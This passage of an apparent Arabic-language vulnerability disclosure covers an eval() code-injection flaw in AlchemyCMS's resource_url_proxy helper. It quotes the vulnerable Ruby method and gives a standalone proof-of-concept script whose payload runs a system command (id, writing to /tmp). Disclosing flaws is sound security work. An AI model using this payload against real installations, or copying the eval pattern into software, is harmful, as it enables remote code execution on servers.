def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
إن وجود التوجيه `# rubocop:disable Security/Eval` يؤكد أن الآثار الأمنية لاستخدام `eval()` كانت معروفة ولكن تم تجاوزها أثناء التنفيذ.

3. إثبات المفهوم (PoC)
ناقل الهجوم
يتم تفعيل الثغرة داخل الواجهة الإدارية لـ AlchemyCMS عند عرض طرق العرض القائمة على الموارد (مثل المواقع أو اللغات). إذا تمكن المهاجم من التلاعب بإعدادات الوحدة أو بيانات الموارد الأساسية، فيمكنه تحقيق التنفيذ.

نص برمجي مستقل للاستغلال
يوضح النص البرمجي التالي تنفيذ التعليمات البرمجية التعسفية من خلال محاكاة بيئة الدالة المساعدة المُعرَّضة للخطر:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# الحمولة: تنفيذ أمر النظام 'id' وإنشاء ملف إثبات
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
دليل التنفيذ
عند التنفيذ، تتم معالجة أمر النظام، مما يمنح المهاجم إمكانية الوصول إلى بيئة الخادم.